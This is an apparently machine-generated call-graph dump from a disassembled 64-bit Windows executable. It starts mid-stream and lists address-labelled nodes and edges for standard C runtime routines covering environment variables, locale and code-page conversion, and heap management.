__free_lconv_num 11 API calls 19817->19818 19818->19815 18814 7ff666df0938 18815 7ff666df095c 18814->18815 18817 7ff666df096c 18814->18817 18816 7ff666de4f78 _get_daylight 11 API calls 18815->18816 18836 7ff666df0961 18816->18836 18818 7ff666df0c4c 18817->18818 18819 7ff666df098e 18817->18819 18820 7ff666de4f78 _get_daylight 11 API calls 18818->18820 18821 7ff666df09af 18819->18821 18945 7ff666df0ff4 18819->18945 18822 7ff666df0c51 18820->18822 18825 7ff666df0a21 18821->18825 18827 7ff666df09d5 18821->18827 18832 7ff666df0a15 18821->18832 18824 7ff666dea9b8 __free_lconv_num 11 API calls 18822->18824 18824->18836 18829 7ff666deec08 _get_daylight 11 API calls 18825->18829 18846 7ff666df09e4 18825->18846 18826 7ff666df0ace 18835 7ff666df0aeb 18826->18835 18843 7ff666df0b3d 18826->18843 18960 7ff666de9730 18827->18960 18833 7ff666df0a37 18829->18833 18831 7ff666dea9b8 __free_lconv_num 11 API calls 18831->18836 18832->18826 18832->18846 18966 7ff666df719c 18832->18966 18837 7ff666dea9b8 __free_lconv_num 11 API calls 18833->18837 18840 7ff666dea9b8 __free_lconv_num 11 API calls 18835->18840 18841 7ff666df0a45 18837->18841 18838 7ff666df09df 18842 7ff666de4f78 _get_daylight 11 API calls 18838->18842 18839 7ff666df09fd 18839->18832 18845 7ff666df0ff4 45 API calls 18839->18845 18844 7ff666df0af4 18840->18844 18841->18832 18841->18846 18848 7ff666deec08 _get_daylight 11 API calls 18841->18848 18842->18846 18843->18846 18847 7ff666df344c 40 API calls 18843->18847 18856 7ff666df0af9 18844->18856 19002 7ff666df344c 18844->19002 18845->18832 18846->18831 18849 7ff666df0b7a 18847->18849 18850 7ff666df0a67 18848->18850 18851 7ff666dea9b8 __free_lconv_num 11 API calls 18849->18851 18853 7ff666dea9b8 __free_lconv_num 11 API calls 18850->18853 18854 7ff666df0b84 18851->18854 18853->18832 18854->18846 18854->18856 18855 7ff666df0c40 18858 7ff666dea9b8 __free_lconv_num 11 API calls 18855->18858 18856->18855 18860 7ff666deec08 _get_daylight 11 API calls 18856->18860 18857 7ff666df0b25 18859 7ff666dea9b8 __free_lconv_num 11 API calls 18857->18859 18858->18836 18859->18856 18861 7ff666df0bc8 18860->18861 18862 7ff666df0bd0 18861->18862 18863 7ff666df0bd9 18861->18863 18864 7ff666dea9b8 __free_lconv_num 11 API calls 18862->18864 18865 7ff666dea514 __std_exception_copy 37 API calls 18863->18865 18866 7ff666df0bd7 18864->18866 18867 7ff666df0be8 18865->18867 18872 7ff666dea9b8 __free_lconv_num 11 API calls 18866->18872 18868 7ff666df0bf0 18867->18868 18869 7ff666df0c7b 18867->18869 19011 7ff666df72b4 18868->19011 18871 7ff666dea970 _isindst 17 API calls 18869->18871 18874 7ff666df0c8f 18871->18874 18872->18836 18877 7ff666df0cb8 18874->18877 18883 7ff666df0cc8 18874->18883 18875 7ff666df0c38 18878 7ff666dea9b8 __free_lconv_num 11 API calls 18875->18878 18876 7ff666df0c17 18879 7ff666de4f78 _get_daylight 11 API calls 18876->18879 18880 7ff666de4f78 _get_daylight 11 API calls 18877->18880 18878->18855 18882 7ff666df0c1c 18879->18882 18881 7ff666df0cbd 18880->18881 18885 7ff666dea9b8 __free_lconv_num 11 API calls 18882->18885 18884 7ff666df0fab 18883->18884 18886 7ff666df0cea 18883->18886 18887 7ff666de4f78 _get_daylight 11 API calls 18884->18887 18885->18866 18888 7ff666df0d07 18886->18888 19030 7ff666df10dc 18886->19030 18889 7ff666df0fb0 18887->18889 18892 7ff666df0d7b 18888->18892 18893 7ff666df0d2f 18888->18893 18910 7ff666df0d6f 18888->18910 18891 7ff666dea9b8 __free_lconv_num 11 API calls 18889->18891 18891->18881 18896 7ff666df0da3 18892->18896 18900 7ff666deec08 _get_daylight 11 API calls 18892->18900 18912 7ff666df0d3e 18892->18912 19045 7ff666de976c 18893->19045 18894 7ff666df0e2e 18902 7ff666df0e4b 18894->18902 18913 7ff666df0e9e 18894->18913 18898 7ff666deec08 _get_daylight 11 API calls 18896->18898 18896->18910 18896->18912 18903 7ff666df0dc5 18898->18903 18899 7ff666dea9b8 __free_lconv_num 11 API calls 18899->18881 18904 7ff666df0d95 18900->18904 18908 7ff666dea9b8 __free_lconv_num 11 API calls 18902->18908 18909 7ff666dea9b8 __free_lconv_num 11 API calls 18903->18909 18911 7ff666dea9b8 __free_lconv_num 11 API calls 18904->18911 18905 7ff666df0d39 18907 7ff666de4f78 _get_daylight 11 API calls 18905->18907 18906 7ff666df0d57 18906->18910 18915 7ff666df10dc 45 API calls 18906->18915 18907->18912 18914 7ff666df0e54 18908->18914 18909->18910 18910->18894 18910->18912 19051 7ff666df705c 18910->19051 18911->18896 18912->18899 18913->18912 18916 7ff666df344c 40 API calls 18913->18916 18919 7ff666df344c 40 API calls 18914->18919 18922 7ff666df0e5a 18914->18922 18915->18910 18917 7ff666df0edc 18916->18917 18918 7ff666dea9b8 __free_lconv_num 11 API calls 18917->18918 18920 7ff666df0ee6 18918->18920 18923 7ff666df0e86 18919->18923 18920->18912 18920->18922 18921 7ff666df0f9f 18924 7ff666dea9b8 __free_lconv_num 11 API calls 18921->18924 18922->18921 18926 7ff666deec08 _get_daylight 11 API calls 18922->18926 18925 7ff666dea9b8 __free_lconv_num 11 API calls 18923->18925 18924->18881 18925->18922 18927 7ff666df0f2b 18926->18927 18928 7ff666df0f33 18927->18928 18929 7ff666df0f3c 18927->18929 18930 7ff666dea9b8 __free_lconv_num 11 API calls 18928->18930 18931 7ff666df04e4 37 API calls 18929->18931 18932 7ff666df0f3a 18930->18932 18933 7ff666df0f4a 18931->18933 18939 7ff666dea9b8 __free_lconv_num 11 API calls 18932->18939 18934 7ff666df0f52 SetEnvironmentVariableW 18933->18934 18935 7ff666df0fdf 18933->18935 18936 7ff666df0f76 18934->18936 18937 7ff666df0f97 18934->18937 18938 7ff666dea970 _isindst 17 API calls 18935->18938 18941 7ff666de4f78 _get_daylight 11 API calls 18936->18941 18940 7ff666dea9b8 __free_lconv_num 11 API calls 18937->18940 18942 7ff666df0ff3 18938->18942 18939->18881 18940->18921 18943 7ff666df0f7b 18941->18943 18944 7ff666dea9b8 __free_lconv_num 11 API calls 18943->18944 18944->18932 18946 7ff666df1011 18945->18946 18947 7ff666df1029 18945->18947 18946->18821 18948 7ff666deec08 _get_daylight 11 API calls 18947->18948 18954 7ff666df104d 18948->18954 18949 7ff666df10ae 18951 7ff666dea9b8 __free_lconv_num 11 API calls 18949->18951 18950 7ff666dea574 __GetCurrentState 45 API calls 18952 7ff666df10d8 18950->18952 18951->18946 18953 7ff666deec08 _get_daylight 11 API calls 18953->18954 18954->18949 18954->18953 18955 7ff666dea9b8 __free_lconv_num 11 API calls 18954->18955 18956 7ff666dea514 __std_exception_copy 37 API calls 18954->18956 18957 7ff666df10bd 18954->18957 18959 7ff666df10d2 18954->18959 18955->18954 18956->18954 18958 7ff666dea970 _isindst 17 API calls 18957->18958 18958->18959 18959->18950 18961 7ff666de9740 18960->18961 18962 7ff666de9749 18960->18962 18961->18962 19075 7ff666de9208 18961->19075 18962->18838 18962->18839 18967 7ff666df62c4 18966->18967 18968 7ff666df71a9 18966->18968 18969 7ff666df62d1 18967->18969 18973 7ff666df6307 18967->18973 18970 7ff666de4fbc 45 API calls 18968->18970 18971 7ff666de4f78 _get_daylight 11 API calls 18969->18971 18986 7ff666df6278 18969->18986 18980 7ff666df71dd 18970->18980 18974 7ff666df62db 18971->18974 18972 7ff666df6331 18975 7ff666de4f78 _get_daylight 11 API calls 18972->18975 18973->18972 18977 7ff666df6356 18973->18977 18981 7ff666dea950 _invalid_parameter_noinfo 37 API calls 18974->18981 18976 7ff666df6336 18975->18976 18982 7ff666dea950 _invalid_parameter_noinfo 37 API calls 18976->18982 18987 7ff666de4fbc 45 API calls 18977->18987 18994 7ff666df6341 18977->18994 18978 7ff666df71e2 18978->18832 18979 7ff666df71f3 18984 7ff666de4f78 _get_daylight 11 API calls 18979->18984 18980->18978 18980->18979 18983 7ff666df720a 18980->18983 18985 7ff666df62e6 18981->18985 18982->18994 18989 7ff666df7214 18983->18989 18990 7ff666df7226 18983->18990 18988 7ff666df71f8 18984->18988 18985->18832 18986->18832 18987->18994 18995 7ff666dea950 _invalid_parameter_noinfo 37 API calls 18988->18995 18991 7ff666de4f78 _get_daylight 11 API calls 18989->18991 18992 7ff666df724e 18990->18992 18993 7ff666df7237 18990->18993 18996 7ff666df7219 18991->18996 19317 7ff666df8fbc 18992->19317 19308 7ff666df6314 18993->19308 18994->18832 18995->18978 18999 7ff666dea950 _invalid_parameter_noinfo 37 API calls 18996->18999 18999->18978 19001 7ff666de4f78 _get_daylight 11 API calls 19001->18978 19003 7ff666df346e 19002->19003 19004 7ff666df348b 19002->19004 19003->19004 19005 7ff666df347c 19003->19005 19006 7ff666df3495 19004->19006 19357 7ff666df7ca8 19004->19357 19007 7ff666de4f78 _get_daylight 11 API calls 19005->19007 19364 7ff666df7ce4 19006->19364 19010 7ff666df3481 memcpy_s 19007->19010 19010->18857 19012 7ff666de4fbc 45 API calls 19011->19012 19013 7ff666df731a 19012->19013 19014 7ff666df7328 19013->19014 19376 7ff666deef94 19013->19376 19379 7ff666de551c 19014->19379 19018 7ff666df7414 19021 7ff666df7425 19018->19021 19022 7ff666dea9b8 __free_lconv_num 11 API calls 19018->19022 19019 7ff666de4fbc 45 API calls 19020 7ff666df7397 19019->19020 19024 7ff666deef94 5 API calls 19020->19024 19027 7ff666df73a0 19020->19027 19023 7ff666df0c13 19021->19023 19025 7ff666dea9b8 __free_lconv_num 11 API calls 19021->19025 19022->19021 19023->18875 19023->18876 19024->19027 19025->19023 19026 7ff666de551c 14 API calls 19028 7ff666df73fb 19026->19028 19027->19026 19028->19018 19029 7ff666df7403 SetEnvironmentVariableW 19028->19029 19029->19018 19031 7ff666df10ff 19030->19031 19032 7ff666df111c 19030->19032 19031->18888 19033 7ff666deec08 _get_daylight 11 API calls 19032->19033 19040 7ff666df1140 19033->19040 19034 7ff666df11c4 19035 7ff666dea574 __GetCurrentState 45 API calls 19034->19035 19037 7ff666df11ca 19035->19037 19036 7ff666df11a1 19038 7ff666dea9b8 __free_lconv_num 11 API calls 19036->19038 19038->19031 19039 7ff666deec08 _get_daylight 11 API calls 19039->19040 19040->19034 19040->19036 19040->19039 19041 7ff666dea9b8 __free_lconv_num 11 API calls 19040->19041 19042 7ff666df04e4 37 API calls 19040->19042 19043 7ff666df11b0 19040->19043 19041->19040 19042->19040 19044 7ff666dea970 _isindst 17 API calls 19043->19044 19044->19034 19046 7ff666de977c 19045->19046 19049 7ff666de9785 19045->19049 19046->19049 19401 7ff666de927c 19046->19401 19049->18905 19049->18906 19052 7ff666df7069 19051->19052 19055 7ff666df7096 19051->19055 19053 7ff666df706e 19052->19053 19052->19055 19054 7ff666de4f78 _get_daylight 11 API calls 19053->19054 19057 7ff666df7073 19054->19057 19056 7ff666df70da 19055->19056 19059 7ff666df70f9 19055->19059 19073 7ff666df70ce __crtLCMapStringW 19055->19073 19058 7ff666de4f78 _get_daylight 11 API calls 19056->19058 19060 7ff666dea950 _invalid_parameter_noinfo 37 API calls 19057->19060 19061 7ff666df70df 19058->19061 19062 7ff666df7115 19059->19062 19063 7ff666df7103 19059->19063 19064 7ff666df707e 19060->19064 19066 7ff666dea950 _invalid_parameter_noinfo 37 API calls 19061->19066 19065 7ff666de4fbc 45 API calls 19062->19065 19067 7ff666de4f78 _get_daylight 11 API calls 19063->19067 19064->18910 19068 7ff666df7122 19065->19068 19066->19073 19069 7ff666df7108 19067->19069 19068->19073 19448 7ff666df8b78 19068->19448 19070 7ff666dea950 _invalid_parameter_noinfo 37 API calls 19069->19070 19070->19073 19073->18910 19074 7ff666de4f78 _get_daylight 11 API calls 19074->19073 19076 7ff666de9221 19075->19076 19085 7ff666de921d 19075->19085 19098 7ff666df2660 19076->19098 19081 7ff666de9233 19083 7ff666dea9b8 __free_lconv_num 11 API calls 19081->19083 19082 7ff666de923f 19124 7ff666de92ec 19082->19124 19083->19085 19085->18962 19090 7ff666de955c 19085->19090 19087 7ff666dea9b8 __free_lconv_num 11 API calls 19088 7ff666de9266 19087->19088 19089 7ff666dea9b8 __free_lconv_num 11 API calls 19088->19089 19089->19085 19091 7ff666de9585 19090->19091 19096 7ff666de959e 19090->19096 19091->18962 19092 7ff666deec08 _get_daylight 11 API calls 19092->19096 19093 7ff666de962e 19095 7ff666dea9b8 __free_lconv_num 11 API calls 19093->19095 19094 7ff666df0858 WideCharToMultiByte 19094->19096 19095->19091 19096->19091 19096->19092 19096->19093 19096->19094 19097 7ff666dea9b8 __free_lconv_num 11 API calls 19096->19097 19097->19096 19099 7ff666df266d 19098->19099 19100 7ff666de9226 19098->19100 19143 7ff666deb294 19099->19143 19104 7ff666df299c GetEnvironmentStringsW 19100->19104 19105 7ff666de922b 19104->19105 19106 7ff666df29cc 19104->19106 19105->19081 19105->19082 19107 7ff666df0858 WideCharToMultiByte 19106->19107 19108 7ff666df2a1d 19107->19108 19109 7ff666df2a24 FreeEnvironmentStringsW 19108->19109 19110 7ff666ded66c _fread_nolock 12 API calls 19108->19110 19109->19105 19111 7ff666df2a37 19110->19111 19112 7ff666df2a3f 19111->19112 19113 7ff666df2a48 19111->19113 19114 7ff666dea9b8 __free_lconv_num 11 API calls 19112->19114 19115 7ff666df0858 WideCharToMultiByte 19113->19115 19116 7ff666df2a46 19114->19116 19117 7ff666df2a6b 19115->19117 19116->19109 19118 7ff666df2a6f 19117->19118 19119 7ff666df2a79 19117->19119 19120 7ff666dea9b8 __free_lconv_num 11 API calls 19118->19120 19121 7ff666dea9b8 __free_lconv_num 11 API calls 19119->19121 19122 7ff666df2a77 FreeEnvironmentStringsW 19120->19122 19121->19122 19122->19105 19125 7ff666de9311 19124->19125 19126 7ff666deec08 _get_daylight 11 API calls 19125->19126 19138 7ff666de9347 19126->19138 19127 7ff666de934f 19128 7ff666dea9b8 __free_lconv_num 11 API calls 19127->19128 19129 7ff666de9247 19128->19129 19129->19087 19130 7ff666de93c2 19131 7ff666dea9b8 __free_lconv_num 11 API calls 19130->19131 19131->19129 19132 7ff666deec08 _get_daylight 11 API calls 19132->19138 19133 7ff666de93b1 19302 7ff666de9518 19133->19302 19135 7ff666dea514 __std_exception_copy 37 API calls 19135->19138 19137 7ff666dea9b8 __free_lconv_num 11 API calls 19137->19127 19138->19127 19138->19130 19138->19132 19138->19133 19138->19135 19139 7ff666de93e7 19138->19139 19140 7ff666dea9b8 __free_lconv_num 11 API calls 19138->19140 19141 7ff666dea970 _isindst 17 API calls 19139->19141 19140->19138 19142 7ff666de93fa 19141->19142 19144 7ff666deb2a5 FlsGetValue 19143->19144 19145 7ff666deb2c0 FlsSetValue 19143->19145 19146 7ff666deb2b2 19144->19146 19147 7ff666deb2ba 19144->19147 19145->19146 19148 7ff666deb2cd 19145->19148 19149 7ff666deb2b8 19146->19149 19150 7ff666dea574 __GetCurrentState 45 API calls 19146->19150 19147->19145 19151 7ff666deec08 _get_daylight 11 API calls 19148->19151 19163 7ff666df2334 19149->19163 19152 7ff666deb335 19150->19152 19153 7ff666deb2dc 19151->19153 19154 7ff666deb2fa FlsSetValue 19153->19154 19155 7ff666deb2ea FlsSetValue 19153->19155 19156 7ff666deb318 19154->19156 19157 7ff666deb306 FlsSetValue 19154->19157 19158 7ff666deb2f3 19155->19158 19160 7ff666deaf64 _get_daylight 11 API calls 19156->19160 19157->19158 19159 7ff666dea9b8 __free_lconv_num 11 API calls 19158->19159 19159->19146 19161 7ff666deb320 19160->19161 19162 7ff666dea9b8 __free_lconv_num 11 API calls 19161->19162 19162->19149 19186 7ff666df25a4 19163->19186 19165 7ff666df2369 19201 7ff666df2034 19165->19201 19168 7ff666ded66c _fread_nolock 12 API calls 19169 7ff666df2397 19168->19169 19170 7ff666df239f 19169->19170 19172 7ff666df23ae 19169->19172 19171 7ff666dea9b8 __free_lconv_num 11 API calls 19170->19171 19182 7ff666df2386 19171->19182 19172->19172 19208 7ff666df26dc 19172->19208 19175 7ff666df24aa 19176 7ff666de4f78 _get_daylight 11 API calls 19175->19176 19177 7ff666df24af 19176->19177 19178 7ff666dea9b8 __free_lconv_num 11 API calls 19177->19178 19178->19182 19179 7ff666df24c4 19180 7ff666df2505 19179->19180 19183 7ff666dea9b8 __free_lconv_num 11 API calls 19179->19183 19185 7ff666df256c 19180->19185 19219 7ff666df1e64 19180->19219 19181 7ff666dea9b8 __free_lconv_num 11 API calls 19181->19182 19182->19100 19183->19180 19185->19181 19187 7ff666df25c7 19186->19187 19188 7ff666df25d1 19187->19188 19234 7ff666df0348 EnterCriticalSection 19187->19234 19190 7ff666df2643 19188->19190 19192 7ff666dea574 __GetCurrentState 45 API calls 19188->19192 19190->19165 19194 7ff666df265b 19192->19194 19197 7ff666deb294 50 API calls 19194->19197 19200 7ff666df26b2 19194->19200 19198 7ff666df269c 19197->19198 19199 7ff666df2334 65 API calls 19198->19199 19199->19200 19200->19165 19202 7ff666de4fbc 45 API calls 19201->19202 19203 7ff666df2048 19202->19203 19204 7ff666df2054 GetOEMCP 19203->19204 19205 7ff666df2066 19203->19205 19206 7ff666df207b 19204->19206 19205->19206 19207 7ff666df206b GetACP 19205->19207 19206->19168 19206->19182 19207->19206 19209 7ff666df2034 47 API calls 19208->19209 19210 7ff666df2709 19209->19210 19211 7ff666df285f 19210->19211 19212 7ff666df2746 IsValidCodePage 19210->19212 19217 7ff666df2760 memcpy_s 19210->19217 19213 7ff666ddc5c0 _log10_special 8 API calls 19211->19213 19212->19211 19214 7ff666df2757 19212->19214 19215 7ff666df24a1 19213->19215 19216 7ff666df2786 GetCPInfo 19214->19216 19214->19217 19215->19175 19215->19179 19216->19211 19216->19217 19235 7ff666df214c 19217->19235 19301 7ff666df0348 EnterCriticalSection 19219->19301 19236 7ff666df2189 GetCPInfo 19235->19236 19245 7ff666df227f 19235->19245 19242 7ff666df219c 19236->19242 19236->19245 19237 7ff666ddc5c0 _log10_special 8 API calls 19239 7ff666df231e 19237->19239 19238 7ff666df2eb0 48 API calls 19240 7ff666df2213 19238->19240 19239->19211 19246 7ff666df7bf4 19240->19246 19242->19238 19244 7ff666df7bf4 54 API calls 19244->19245 19245->19237 19247 7ff666de4fbc 45 API calls 19246->19247 19248 7ff666df7c19 19247->19248 19251 7ff666df78c0 19248->19251 19252 7ff666df7901 19251->19252 19253 7ff666def910 _fread_nolock MultiByteToWideChar 19252->19253 19256 7ff666df794b 19253->19256 19254 7ff666df7bc9 19255 7ff666ddc5c0 _log10_special 8 API calls 19254->19255 19257 7ff666df2246 19255->19257 19256->19254 19258 7ff666ded66c _fread_nolock 12 API calls 19256->19258 19260 7ff666df7983 19256->19260 19272 7ff666df7a81 19256->19272 19257->19244 19258->19260 19259 7ff666dea9b8 __free_lconv_num 11 API calls 19259->19254 19261 7ff666def910 _fread_nolock MultiByteToWideChar 19260->19261 19260->19272 19262 7ff666df79f6 19261->19262 19262->19272 19282 7ff666def154 19262->19282 19265 7ff666df7a92 19267 7ff666ded66c _fread_nolock 12 API calls 19265->19267 19269 7ff666df7b64 19265->19269 19271 7ff666df7ab0 19265->19271 19266 7ff666df7a41 19268 7ff666def154 __crtLCMapStringW 6 API calls 19266->19268 19266->19272 19267->19271 19268->19272 19270 7ff666dea9b8 __free_lconv_num 11 API calls 19269->19270 19269->19272 19270->19272 19271->19272 19273 7ff666def154 __crtLCMapStringW 6 API calls 19271->19273 19272->19254 19272->19259 19274 7ff666df7b30 19273->19274 19274->19269 19275 7ff666df7b50 19274->19275 19276 7ff666df7b66 19274->19276 19277 7ff666df0858 WideCharToMultiByte 19275->19277 19278 7ff666df0858 WideCharToMultiByte 19276->19278 19279 7ff666df7b5e 19277->19279 19278->19279 19279->19269 19280 7ff666df7b7e 19279->19280 19280->19272 19281 7ff666dea9b8 __free_lconv_num 11 API calls 19280->19281 19281->19272 19288 7ff666deed80 19282->19288 19286 7ff666def19a 19286->19265 19286->19266 19286->19272 19287 7ff666def203 LCMapStringW 19287->19286 19289 7ff666deeddd 19288->19289 19296 7ff666deedd8 __vcrt_InitializeCriticalSectionEx 19288->19296 19289->19286 19298 7ff666def240 19289->19298 19290 7ff666deee0d LoadLibraryExW 19292 7ff666deeee2 19290->19292 19293 7ff666deee32 GetLastError 19290->19293 19291 7ff666deef02 GetProcAddress 19291->19289 19295 7ff666deef13 19291->19295 19292->19291 19294 7ff666deeef9 FreeLibrary 19292->19294 19293->19296 19294->19291 19295->19289 19296->19289 19296->19290 19296->19291 19297 7ff666deee6c LoadLibraryExW 19296->19297 19297->19292 19297->19296 19299 7ff666deed80 __crtLCMapStringW 5 API calls 19298->19299 19300 7ff666def26e __crtLCMapStringW 19299->19300 19300->19287 19303 7ff666de951d 19302->19303 19304 7ff666de93b9 19302->19304 19305 7ff666de9546 19303->19305 19306 7ff666dea9b8 __free_lconv_num 11 API calls 19303->19306 19304->19137 19307 7ff666dea9b8 __free_lconv_num 11 API calls 19305->19307 19306->19303 19307->19304 19309 7ff666df6331 19308->19309 19310 7ff666df6348 19308->19310 19311 7ff666de4f78 _get_daylight 11 API calls 19309->19311 19310->19309 19313 7ff666df6356 19310->19313 19312 7ff666df6336 19311->19312 19314 7ff666dea950 _invalid_parameter_noinfo 37 API calls 19312->19314 19315 7ff666df6341 19313->19315 19316 7ff666de4fbc 45 API calls 19313->19316 19314->19315 19315->18978 19316->19315 19318 7ff666de4fbc 45 API calls 19317->19318 19319 7ff666df8fe1 19318->19319 19322 7ff666df8c38 19319->19322 19323 7ff666df8c86 19322->19323 19326 7ff666df8d0d 19323->19326 19328 7ff666df8cf8 GetCPInfo 19323->19328 19329 7ff666df8d11 19323->19329 19324 7ff666ddc5c0 _log10_special 8 API calls 19325 7ff666df7275 19324->19325 19325->18978 19325->19001 19327 7ff666def910 _fread_nolock MultiByteToWideChar 19326->19327 19326->19329 19330 7ff666df8da5 19327->19330 19328->19326 19328->19329 19329->19324 19330->19329 19331 7ff666ded66c _fread_nolock 12 API calls 19330->19331 19332 7ff666df8ddc 19330->19332 19331->19332 19332->19329 19333 7ff666def910 _fread_nolock MultiByteToWideChar 19332->19333 19334 7ff666df8e4a 19333->19334 19335 7ff666df8f2c 19334->19335 19336 7ff666def910 _fread_nolock MultiByteToWideChar 19334->19336 19335->19329 19337 7ff666dea9b8 __free_lconv_num 11 API calls 19335->19337 19338 7ff666df8e70 19336->19338 19337->19329 19338->19335 19339 7ff666ded66c _fread_nolock 12 API calls 19338->19339 19340 7ff666df8e9d 19338->19340 19339->19340 19340->19335 19341 7ff666def910 _fread_nolock MultiByteToWideChar 19340->19341 19342 7ff666df8f14 19341->19342 19343 7ff666df8f34 19342->19343 19344 7ff666df8f1a 19342->19344 19351 7ff666deefd8 19343->19351 19344->19335 19346 7ff666dea9b8 __free_lconv_num 11 API calls 19344->19346 19346->19335 19348 7ff666df8f73 19348->19329 19350 7ff666dea9b8 __free_lconv_num 11 API calls 19348->19350 19349 7ff666dea9b8 __free_lconv_num 11 API calls 19349->19348 19350->19329 19352 7ff666deed80 __crtLCMapStringW 5 API calls 19351->19352 19353 7ff666def016 19352->19353 19354 7ff666def240 __crtLCMapStringW 5 API calls 19353->19354 19355 7ff666def01e 19353->19355 19356 7ff666def087 CompareStringW 19354->19356 19355->19348 19355->19349 19356->19355 19358 7ff666df7cb1 19357->19358 19359 7ff666df7cca HeapSize 19357->19359 19360 7ff666de4f78 _get_daylight 11 API calls 19358->19360 19361 7ff666df7cb6 19360->19361 19362 7ff666dea950 _invalid_parameter_noinfo 37 API calls 19361->19362 19363 7ff666df7cc1 19362->19363 19363->19006 19365 7ff666df7d03 19364->19365 19366 7ff666df7cf9 19364->19366 19368 7ff666df7d08 19365->19368 19374 7ff666df7d0f _get_daylight 19365->19374 19367 7ff666ded66c _fread_nolock 12 API calls 19366->19367 19369 7ff666df7d01 19367->19369 19370 7ff666dea9b8 __free_lconv_num 11 API calls 19368->19370 19369->19010 19370->19369 19371 7ff666df7d15 19373 7ff666de4f78 _get_daylight 11 API calls 19371->19373 19372 7ff666df7d42 HeapReAlloc 19372->19369 19372->19374 19373->19369 19374->19371 19374->19372 19375 7ff666df3600 _get_daylight 2 API calls 19374->19375 19375->19374 19377 7ff666deed80 __crtLCMapStringW 5 API calls 19376->19377 19378 7ff666deefb4 19377->19378 19378->19014 19380 7ff666de556a 19379->19380 19381 7ff666de5546 19379->19381 19382 7ff666de55c4 19380->19382 19383 7ff666de556f 19380->19383 19384 7ff666de5555 19381->19384 19386 7ff666dea9b8 __free_lconv_num 11 API calls 19381->19386 19385 7ff666def910 _fread_nolock MultiByteToWideChar 19382->19385 19383->19384 19387 7ff666dea9b8 __free_lconv_num 11 API calls 19383->19387 19392 7ff666de5584 19383->19392 19384->19018 19384->19019 19389 7ff666de55e0 19385->19389 19386->19384 19387->19392 19388 7ff666ded66c _fread_nolock 12 API calls 19388->19384 19390 7ff666de55e7 GetLastError 19389->19390 19391 7ff666de5622 19389->19391 19394 7ff666de5615 19389->19394 19398 7ff666dea9b8 __free_lconv_num 11 API calls 19389->19398 19393 7ff666de4eec _fread_nolock 11 API calls 19390->19393 19391->19384 19395 7ff666def910 _fread_nolock MultiByteToWideChar 19391->19395 19392->19388 19396 7ff666de55f4 19393->19396 19399 7ff666ded66c _fread_nolock 12 API calls 19394->19399 19400 7ff666de5666 19395->19400 19397 7ff666de4f78 _get_daylight 11 API calls 19396->19397 19397->19384 19398->19394 19399->19391 19400->19384 19400->19390 19402 7ff666de9295 19401->19402 19413 7ff666de9291 19401->19413 19422 7ff666df2aac GetEnvironmentStringsW 19402->19422 19405 7ff666de92a2 19407 7ff666dea9b8 __free_lconv_num 11 API calls 19405->19407 19406 7ff666de92ae 19429 7ff666de93fc 19406->19429 19407->19413 19410 7ff666dea9b8 __free_lconv_num 11 API calls 19411 7ff666de92d5 19410->19411 19412 7ff666dea9b8 __free_lconv_num 11 API calls 19411->19412 19412->19413 19413->19049 19414 7ff666de963c 19413->19414 19415 7ff666de965f 19414->19415 19418 7ff666de9676 19414->19418 19415->19049 19416 7ff666def910 MultiByteToWideChar _fread_nolock 19416->19418 19417 7ff666deec08 _get_daylight 11 API calls 19417->19418 19418->19415 19418->19416 19418->19417 19419 7ff666de96ea 19418->19419 19421 7ff666dea9b8 __free_lconv_num 11 API calls 19418->19421 19420 7ff666dea9b8 __free_lconv_num 11 API calls 19419->19420 19420->19415 19421->19418 19423 7ff666de929a 19422->19423 19424 7ff666df2ad0 19422->19424 19423->19405 19423->19406 19425 7ff666ded66c _fread_nolock 12 API calls 19424->19425 19426 7ff666df2b07 memcpy_s 19425->19426 19427 7ff666dea9b8 __free_lconv_num 11 API calls 19426->19427 19428 7ff666df2b27 FreeEnvironmentStringsW 19427->19428 19428->19423 19430 7ff666de9424 19429->19430 19431 7ff666deec08 _get_daylight 11 API calls 19430->19431 19443 7ff666de945f 19431->19443 19432 7ff666de9467 19433 7ff666dea9b8 __free_lconv_num 11 API calls 19432->19433 19434 7ff666de92b6 19433->19434 19434->19410 19435 7ff666de94e1 19436 7ff666dea9b8 __free_lconv_num 11 API calls 19435->19436 19436->19434 19437 7ff666deec08 _get_daylight 11 API calls 19437->19443 19438 7ff666de94d0 19440 7ff666de9518 11 API calls 19438->19440 19439 7ff666df04e4 37 API calls 19439->19443 19441 7ff666de94d8 19440->19441 19444 7ff666dea9b8 __free_lconv_num 11 API calls 19441->19444 19442 7ff666de9504 19445 7ff666dea970 _isindst 17 API calls 19442->19445 19443->19432 19443->19435 19443->19437 19443->19438 19443->19439 19443->19442 19446 7ff666dea9b8 __free_lconv_num 11 API calls 19443->19446 19444->19432 19447 7ff666de9516 19445->19447 19446->19443 19450 7ff666df8ba1 __crtLCMapStringW 19448->19450 19449 7ff666df715e 19449->19073 19449->19074 19450->19449 19451 7ff666deefd8 6 API calls 19450->19451 19451->19449 20655 7ff666dfac53 20656 7ff666dfac63 20655->20656 20659 7ff666de54e8 LeaveCriticalSection 20656->20659 15937 7ff666de99d1 15949 7ff666dea448 15937->15949 15954 7ff666deb1c0 GetLastError 15949->15954 15955 7ff666deb1e4 FlsGetValue 15954->15955 15956 7ff666deb201 FlsSetValue 15954->15956 15957 7ff666deb1fb 15955->15957 15973 7ff666deb1f1 SetLastError 15955->15973 15958 7ff666deb213 15956->15958 15956->15973 15957->15956 15985 7ff666deec08 15958->15985 15961 7ff666deb28d 15964 7ff666dea574 __GetCurrentState 38 API calls 15961->15964 15962 7ff666dea451 15976 7ff666dea574 15962->15976 15969 7ff666deb292 15964->15969 15965 7ff666deb240 FlsSetValue 15967 7ff666deb25e 15965->15967 15968 7ff666deb24c FlsSetValue 15965->15968 15966 7ff666deb230 FlsSetValue 15970 7ff666deb239 15966->15970 15998 7ff666deaf64 15967->15998 15968->15970 15992 7ff666dea9b8 15970->15992 15973->15961 15973->15962 16046 7ff666df36c0 15976->16046 15991 7ff666deec19 _get_daylight 15985->15991 15986 7ff666deec6a 16006 7ff666de4f78 15986->16006 15987 7ff666deec4e HeapAlloc 15989 7ff666deb222 15987->15989 15987->15991 15989->15965 15989->15966 15991->15986 15991->15987 16003 7ff666df3600 15991->16003 15993 7ff666dea9ec 15992->15993 15994 7ff666dea9bd RtlFreeHeap 15992->15994 15993->15973 15994->15993 15995 7ff666dea9d8 GetLastError 15994->15995 15996 7ff666dea9e5 __free_lconv_num 15995->15996 15997 7ff666de4f78 _get_daylight 9 API calls 15996->15997 15997->15993 16032 7ff666deae3c 15998->16032 16009 7ff666df3640 16003->16009 16015 7ff666deb338 GetLastError 16006->16015 16008 7ff666de4f81 16008->15989 16014 7ff666df0348 EnterCriticalSection 